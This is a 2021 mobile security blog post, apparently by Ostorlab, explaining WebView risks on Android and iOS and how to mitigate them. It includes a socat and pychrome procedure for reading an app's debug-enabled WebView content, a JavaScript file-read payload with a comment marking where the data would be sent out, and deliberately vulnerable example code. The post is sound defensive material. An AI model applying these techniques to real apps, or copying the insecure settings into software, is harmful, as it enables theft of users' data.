Tue 18 May 2021
WebView is an important component for mobile applications, it allows Android and iOS applications to render web content and execute Javascript code inside a mobile application.
The design of WebView implies changes of the landscape of the Web and requires special attention to avoid security holes in the applications.
Through 5 concise and useful tips, you'll understand the usage of WebViews, and the common security issues you need to check.
Ostorlab already checks automatically for all of these issues using both static and dynamic analysis.
Tell me your OS version, I tell you your webview?
Webview was introduced in iOS 1 and Android 2 and knew important changes to optimize its performance and enhance its security.
Here are the biggest milestones in the Webview design:
-
iOS:
UIWebviewis available sinceiOS1 and deprecated iniOS8. It has many security issues:- You can NOT disable Javascript
- You can NOT disable Access to files
- You can NOT implement the same origin policy for file access
- Native application has access to all the requests/response, which is not ideal for sensitive data and external authentication
- The rendered content, and the native application shares the same process
WKWebViewis available startingiOS8 and introduced multiple performance and security enhancements:- You can disable Javascript
- You can disable Access to files
- You can implement the same origin policy for file access
- Native application has access to all the requests/responses, which is not ideal for sensitive data and external authentication
- The rendered content, and the native application run in different processes
SFSafariViewControlleris available startingiOS9 and provides a browser-like experience; It is mainly used when the application needs only to display the web content.- You can disable Javascript
- You can disable Access to files
- You can implement the same origin policy for file access
- Native application can NOT access all the requests/responses, but you can use different implementations to share the Cookies and stored data
- The rendered content, and the native application run in different processes.
-
Android:
WebKitfrom 2.x to 3:- You can disable Javascript
- You can Not disable Access to files
- You can NOT implement the same origin policy for file access
- The rendered content, and the native application shares the same process
WebKiton 3:- You can disable Javascript
- You can disable Access to files
- You can NOT implement the same origin policy for file access
- The rendered content, and the native application shares the same process
Chromium30 on 4.4:Webviewruns in the UI thread- You can disable Javascript
- You can disable Access to files
- You can implement the same origin policy for file access
- The rendered content, and the native application shares the same process
- Chromium M37 on 5.0:
PermissionRequestclass introduced to grant theWebViewpermission to access protected resources like the camera and microphone.- Supports Chromium updates from Google Play Store
- From Android 7.0 to Android :
- the geolocation API will only be allowed on secure origins (over HTTPS.)
WebViewruns web content in a separate sandboxed process- Safe Browsing API added to notify when
WebViewattempts to navigate to a URL that Google has classified as a known threat.
Is it safe to enable debugging WebViews contents in production?
Short answer is: NO!
In this section we will see how a malicious application can access the data rendered in a WebView if the WebContentsDebugging is enabled.
To illustrate in an application how it is enabling the debugging WebViews contents, I will use Ostorlab's analysis environment, and search for the function setWebContentsDebuggingEnabled.

To check the call tree, and the parameters passed to the function, I go to the call tree tab:

We can see that initWebView is calling setWebContentsDebuggingEnabled:

Jumping to the source code, we can see that the parameter is retrieved from the method this.config.isWebContentsDebuggingEnabled()
private void initWebView()
{
android.webkit.WebSettings v0_1 = this.webView.getSettings();
v0_1.setJavaScriptEnabled(1);
v0_1.setDomStorageEnabled(1);
v0_1.setGeolocationEnabled(1);
v0_1.setDatabaseEnabled(1);
v0_1.setAppCacheEnabled(1);
v0_1.setMediaPlaybackRequiresUserGesture(0);
v0_1.setJavaScriptCanOpenWindowsAutomatically(1);
if (this.config.isMixedContentAllowed()) {
v0_1.setMixedContentMode(0);
}
String v1_3 = this.config.getAppendedUserAgentString();
if (v1_3 != null) {
String v2_0 = v0_1.getUserAgentString();
String v3_1 = new StringBuilder();
v3_1.append(v2_0);
v3_1.append( );
v3_1.append(v1_3);
v0_1.setUserAgentString(v3_1.toString());
}
String v2_2 = this.config.getOverriddenUserAgentString();
if (v2_2 != null) {
v0_1.setUserAgentString(v2_2);
}
String v3_4 = this.config.getBackgroundColor();
if (v3_4 == null) {
} else {
try {
this.webView.setBackgroundColor(com.getcapacitor.util.WebColor.parseColor(v3_4));
} catch (boolean v4) {
com.getcapacitor.Logger.debug(WebView background color not applied);
}
}
this.webView.requestFocusFromTouch();
android.webkit.WebView.setWebContentsDebuggingEnabled(this.config.isWebContentsDebuggingEnabled());
return;
}
Checking the definition of isWebContentsDebuggingEnabled, we can see that it uses capacitor.config.json and the parameter is set to true.

Next step, we install the application and run it on the phone.
WebView debugging uses the Chrome Debug Protocol, and it is exposed using an abstract named unix socket. The socket is either
name webview_devtools_remote or webview_devtools_remote_<pid>.
Abstract sockets do not use file system permissions to enforce access and are therefore accessible to all applications on the device.
We can use netstat to find the exposed socket:
shell# netstat -untapexW | grep webview_devtools_remote
unix 2 [ ACC ] STREAM LISTENING 2633690 26634/com.xxxxx.i@webview_devtools_remote_26634
Now to exploit and read the content of the socket all we have to do is to run the following command on the phone:
socat TCP-LISTEN:9999,fork ABSTRACT:webview_devtools_remote_2466
Please note that Java doesn't have an API to access abstract socket, attackers performing this type of attack will likely use native code.
To access the remote protocol, use the Chrome Debug Protocol client, like pychrome:
import pychrome
# connect to webview on the exposed port.
browser = pychrome.Browser(url="http://127.0.0.1:9999")
t = browser.list_tab()[0]
t.start()
t.DOM.enable()
# Access document.
t.DOM.getDocument()
We can use the DOM object to inspect all the content of the page:
>>> t.DOM.getDocument()
{'root': {'nodeId': 1, 'backendNodeId': 2, 'nodeType': 9, 'nodeName': '#document', 'localName': '', 'nodeValue': '', 'childNodeCount': 2, 'children': [{'nodeId': 2, 'parentId': 1, 'backendNodeId': 42, 'nodeType': 10, 'nodeName': 'html', 'localName': '', 'nodeValue': '', 'publicId': '', 'systemId': ''}, {'nodeId': 3, 'parentId': 1, 'backendNodeId': 43, 'nodeType': 1, 'nodeName': 'HTML', 'localName': 'html', 'nodeValue': '', 'childNodeCount': 2, 'children': [{'nodeId': 4, 'parentId': 3, 'backendNodeId': 44, 'nodeType': 1, 'nodeName': 'HEAD', 'localName': 'head', 'nodeValue': '', 'childNodeCount': 80, 'attributes': []}, {'nodeId': 5, 'parentId': 3, 'backendNodeId': 45, 'nodeType': 1, 'nodeName': 'BODY', 'localName': 'body', 'nodeValue': '', 'childNodeCount': 5, 'attributes': []}], 'attributes': ['lang', 'en'], 'frameId': '8C9DD9891A40F2CEC8D73094D29D9152'}], 'documentURL': 'https://www.xxx.com/', 'baseURL': 'https://www.xxx.com/', 'xmlVersion': ''}}
A safe trip from Java code to Javascript:
Java objects can be injected into the WebView and exposed to JavaScript using the addJavascriptInterface method. Below is a simple example illustrating how we can implement it:
webView = (WebView) findViewById(R.id.webView1);
webView.addJavascriptInterface(new JavaScriptBridge(), "safeBridge");
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
webView.loadUrl("file:///android_asset/main.html");
public class JavaScriptBridge {
@JavascriptInterface
public String helloSafeWorld()
{
return "Hello World!";
}
}
In this example the helloSafeWorld() method can be invoked from JavaScript, using the following code:
var HelloWorld = window.safeBridge.helloSafeWorld();
Once an interface is registered to WebView through addJavascriptInterface, it becomes global. All pages loaded in
the WebView can call this interface, and access the same data maintained by the interface. This makes it possible for
web pages from one origin to affect those from others
Starting from API version 17, only methods with the @JavascriptInterface annotation are available to JavaScript code.
Prior to API version 17, reflection could be used to execute arbitrary code on the device (see CVE-2012-6636).
Let's have a look at a real example from the com.microsoft.skydrive application. First we search for the function addJavascriptInterface

In the call stack tab, we can see that we have multiple interfaces exposed.

We will focus on the package com.microsoft.skydrive.reportabuse.

public void onViewCreated(android.view.View p3, android.os.Bundle p4)
{
kotlin.jvm.internal.Intrinsics.checkNotNullParameter(p3, view);
android.webkit.WebView v3_12 = ((android.webkit.WebView) this._$_findCachedViewById(com.microsoft.skydrive.R$id.web_view));
kotlin.jvm.internal.Intrinsics.checkNotNullExpressionValue(v3_12, web_view);
android.webkit.WebView v3_13 = v3_12.getSettings();
kotlin.jvm.internal.Intrinsics.checkNotNullExpressionValue(v3_13, web_view.settings);
v3_13.setJavaScriptEnabled(1);
((android.webkit.WebView) this._$_findCachedViewById(com.microsoft.skydrive.R$id.web_view)).addJavascriptInterface(new com.microsoft.skydrive.reportabuse.ReportAbuseJavascriptInterface(this), external);
android.webkit.WebView v3_7 = ((android.webkit.WebView) this._$_findCachedViewById(com.microsoft.skydrive.R$id.web_view));
kotlin.jvm.internal.Intrinsics.checkNotNullExpressionValue(v3_7, web_view);
v3_7.setWebViewClient(new com.microsoft.skydrive.reportabuse.ReportAbuseDialogFragment$onViewCreated$1(this));
((android.webkit.WebView) this._$_findCachedViewById(com.microsoft.skydrive.R$id.web_view)).loadUrl(https://www.onedrive.com/reportabuse);
return;
}
The interface exposes the following methods:
package com.microsoft.skydrive.reportabuse;
public interface ReportAbuseInterface {
public abstract void dismissReportAbuse();
public abstract String getReportAbuseContextInformation();
public abstract void pageFinishedLoading();
public abstract void reportClicked();
public abstract void resize();
}
A key element when implementing those methods is to validate each input and avoid creating generic behaviors that an attacker might use to retrieve or modify sensitive data.
In the reportClicked implementation below, calling the function with a null value will trigger an error when calling valueOf, which leads to unexpected behavior.
public void reportClicked(String p12, String p13)
{
android.content.Context v1_1 = this.getContext();
if (v1_1 != null) {
com.microsoft.authorization.instrumentation.AccountInstrumentationEvent v9_1 = new com.microsoft.authorization.instrumentation.AccountInstrumentationEvent(v1_1, com.microsoft.skydrive.instrumentation.EventMetaDataIDs.REPORT_ABUSE_CLICKED, this.a);
try {
com.microsoft.skydrive.reportabuse.ReportAbuseTask v2_0 = com.microsoft.skydrive.reportabuse.ReportAbuseDialogFragment$ReportAbuseType.valueOf(p12);
com.microsoft.authorization.OneDriveAccount v4 = this.a;
} catch (IllegalArgumentException) {
String v13_2 = new StringBuilder();
v13_2.append(Invalid report abuse type - );
v13_2.append(p12);
com.microsoft.odsp.io.Log.dPiiFree(ReportAbuseDialogFragment, v13_2.toString());
kotlin.jvm.internal.Intrinsics.checkNotNullExpressionValue(v1_1, context);
this.b(v1_1, 2131952415);
v9_1.addProperty(InvalidReportAbuseType, p12);
com.microsoft.instrumentation.util.ClientAnalyticsSession.getInstance().logEvent(v9_1);
}
...
Let's try iOS, probably it is safer!
Before iOS 7, implementing a native bridge on iOS is slightly more complex than it is for Android: There are no explicit API methods defined for this purpose.
The common way used to work by overloading the URL loading system so that arbitrary messages can be passed from JavaScript to a callback in the native UIWebView.
Any time a URL is loaded within the WebView it invokes the shouldStartLoadWithRequest delegate method, which intercepts the full URL, including any parameters.
The format of the URL is typically used to pass messages from JavaScript to the native container.
For example, the following may be used to find a name in the list of employees :
window.location = mysafebridge://employees/search/contact?firstname=john
The native container then implements the shouldStartLoadWithRequest delegate of the WebView using code similar to the following:
- (BOOL)webView:(UIWebView*)webView
shouldStartLoadWithRequest:(NSURLRequest*)request
navigationType:(UIWebViewNavigationType)navigationType {
NSURL *URL = [request URL];
if ([[URL scheme] isEqualToString:@"mysafebridge"]) {
// parse URL, extract host and parameters to define actions
}
}
The shouldStartLoadWithRequest method would typically read in the URL, then separate and interpret each of the URL components to determine what actions it should take.
The URL loading technique, however, provides only a one-way bridge from the web layer to the native container. It is
possible to create a bi-directional communication channel using a JavaScript callback and the stringByEvaluatingJavaScriptFromString method of the UIWebview class.
For example, to execute a JavaScript method from the native container you might find code similar to the following:
[webView stringByEvaluatingJavaScriptFromString: @"addEmployee('%@','%@')",firstname,job];
This simple example would cause the addEmployee() JavaScript function to be executed, passing the NSString objects
"firstname" and "job" to JavaScript. When used in conjunction with shouldStartLoadWithRequest, this technique is
capable of providing a rudimentary bridge between the native and web layers.
You need to be careful when using a custom URI schemes, since an attacker can share a malicious link (via email, chat or SMS) and malicious JavaScript or HTML code will invoke native mobile functionality and exploit its data.
Note: UIWebView JavaScript execution limits total allocations to 10MB and runtime to 10 seconds, at which point
execution will be immediately and unequivocally halted.
To overcome the limitations of UIWebView, iOS 7 is shipped with the JavaScriptCore framework which has full support
for bridging communications between native Objective-C and a JavaScript runtime. The bridge is created via the new
JSContext global object, which provides access to a JavaScript virtual machine for evaluating code. The Objective-C
runtime can also obtain strong references to JavaScript values via JSValue objects.
The JSExport protocol allows applications to expose entire Objective-C classes and instances to JavaScript and operate on them as if they were JavaScript objects.
Defining variables and methods within a protocol that inherits JSExport signals to JavaScriptCore1 that those elements can be accessed from JavaScript:
@objc public protocol CarJSExports : JSExport {
var model: String { get set }
var year: String { get set }
var price: NSNumber? { get set }
var fullDetail: String { get }
static func createWith(model: String, year: String) -> Car
}
In the example above, JSExport protocol declaration allows Javascript to access the variables model and year and the function createWith.
Now that JavaScriptCore knows about the CarJSExports protocol, it can create an appropriate wrapper object when you add an instance of it to a JSContext:
@objc public class Car : NSObject, CarJSExports {
public dynamic var model: String
public dynamic var year: String
public dynamic var price: NSNumber?
public required init(model: String, year: String) {
self.model = model
self.year = year
}
public class func createWith(model: String, year: String) -> Car {
return Car(model: model, year: year)
}
public var fullDetail: String {
return "\(model) \(year)"
}
}
let context = JSContext()!
context.setObject(Car.self, forKeyedSubscript: "Car" as NSString)
context.evaluateScript(#"""
function loadCar(json) {
return JSON.parse(json)
.map((attributes) => {
let car = Car.createWithModelYear(attributes.model, attributes.year);
car.price = attributes.price;
return car;
});
}
"""#)
let json = """
[
{ "model": "Tesla", "year": "2020", "price": 999 },
{ "model": "Toyota", "year": "2220", "price": 998 },
{ "model": "Mercedes", "year": "2222", "price": 909 }
]
"""
guard let loadCar = context.objectForKeyedSubscript("loadCar"),
let cars = loadCar.call(withArguments: [json])?.toArray()
else {
fatalError()
}
for car in cars {
let model = (car as! Car).model
NSLog(model);
}
With this implementation, it becomes easy to expose objects to JavaScriptCore, this is why developers should make
sure to expose only necessary data and not mirror the JSExport definition, and the initial data model.
For example, if the function fullDetail might contain sensitive data, it should not be declared in CarJSExports protocol and should be only declared in the Car class definition.
Can I read one more file?
In most SDK and WebViews components, it is by default allowed to load files from the filesystem. This poses a risk
when a malicious application is able to open local files within another application's WebView. This opens the exposed WebView
to a myriad of exploitation techniques, from abusing accessibility settings to same origin bypass.
On Android, you can disable filesystem access from a WebView as follows on Android:
webview.getSettings().setAllowFileAccess(false);
This will not stop the WebView from being able to load file the application's resources or assets folder using
file:///android_res and file:///android_asset. To lock down the WebView , you should not allow loaded
files from the filesystem to access other files. This will restrict the loaded page in exfiltrating
private files.
webview.getSettings().setAllowFileAccessFromFileURLs(false);
webview.getSettings().setAllowUniversalAccessFromFileURLs(false);
Furthermore, you can protect a WebView from being able to access content providers on the device by using the following setting:
webview.getSettings().setAllowContentAccess(false);
Below is a vulnerable example where an attacker uses a malicious link to read sensitive data from the application's directory. The application writes cleartext password to shared preferences:
SharedPreferences sharedPref = getPreferences(Context.MODE_PRIVATE);
SharedPreferences.Editor editor = sharedPref.edit();
editor.putString("password", "MyBadPassword");
editor.apply();
And, the application uses a Webview to display a URL from an intent or, a user input.
String badUrl = getIntent().getStringExtra("URL");
WebView webview = findViewById(R.id.webview);
WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setAllowFileAccessFromFileURLs(true);
webview.setWebChromeClient(new WebChromeClient());
webview.loadUrl(badUrl);
In this case, both JavaScript and AllowFileAccessFromFileURLs are enabled. The malicious file test.html reads the
shared preferences file MainActivity.xml and is able to exfiltrate it.
function readTextFile(file)
{
var rawFile = new XMLHttpRequest();
rawFile.open("GET", file, false);
rawFile.onreadystatechange = function ()
{
if(rawFile.readyState === 4)
{
if(rawFile.status === 200 || rawFile.status == 0)
{
var allText = rawFile.responseText;
// send allText to external link
}
}
}
rawFile.send(null);.0
};
By accessing the URL within the application, we can see that the malicious code is executed, and the content of the file is accessible:

Summary
Webview is an important component of mobile apps. It provides a lot of flexibility to access and interact with
external resources, but with it comes many security challenges.
To sum up, ensure to use the latest SDK version and avoid deprecated components, be careful when enabling JavaScript code or implementing native to JavaScript bridges. Features should be restricted the least required.
I hope you found this useful and do not hesitate to test your application on Ostorlab.
We do newsletters, too
Get the latest news, updates, and product innovations from Ostorlab right in your inbox.